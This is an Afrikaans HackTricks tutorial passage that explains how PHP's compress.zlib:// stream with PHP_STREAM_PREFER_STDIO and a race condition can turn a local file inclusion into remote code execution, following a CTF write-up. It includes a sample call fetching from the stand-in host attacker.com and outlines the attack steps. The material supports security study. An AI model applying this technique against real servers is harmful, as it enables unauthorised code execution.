2.1 KiB
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Padontsluiting
{{#include ../../banners/hacktricks-training.md}}
compress.zlib:// en PHP_STREAM_PREFER_STDIO
'n Lêer wat geopen is met die protokol compress.zlib:// met die vlag PHP_STREAM_PREFER_STDIO kan voortgaan om data wat later na die verbinding aankom na dieselfde lêer te skryf.
Dit beteken dat 'n oproep soos:
file_get_contents("compress.zlib://http://attacker.com/file")
Sal 'n versoek stuur wat vra vir http://attacker.com/file, dan mag die bediener die versoek beantwoord met 'n geldige HTTP-antwoorde, die verbinding oop hou, en ekstra data 'n rukkie later stuur wat ook in die lêer geskryf sal word.
Jy kan daardie inligting in hierdie deel van die php-src kode in main/streams/cast.c sien:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Race Condition na RCE
Hierdie CTF is opgelos met die vorige truuk.
Die aanvaller sal die slagoffer bediener 'n verbinding laat oopmaak wat 'n lêer van die aanvallers bediener lees met behulp van die compress.zlib protokol.
Terwyl hierdie verbinding bestaan, sal die aanvaller die pad na die tydelike lêer wat geskep is uitvoer (dit is gelekt deur die bediener).
Terwyl die verbinding steeds oop is, sal die aanvaller 'n LFI benut wat die tydelike lêer laai wat hy beheer.
Daar is egter 'n kontrole in die webbediener wat voorkom dat lêers wat <? bevat, gelaai word. Daarom sal die aanvaller 'n Race Condition misbruik. In die verbinding wat steeds oop is, sal die aanvaller die PHP payload STUUR NA die webbediener gekyk het of die lêer die verbode karakters bevat, maar VOORDAT dit sy inhoud laai.
Vir meer inligting, kyk na die beskrywing van die Race Condition en die CTF in https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
{{#include ../../banners/hacktricks-training.md}}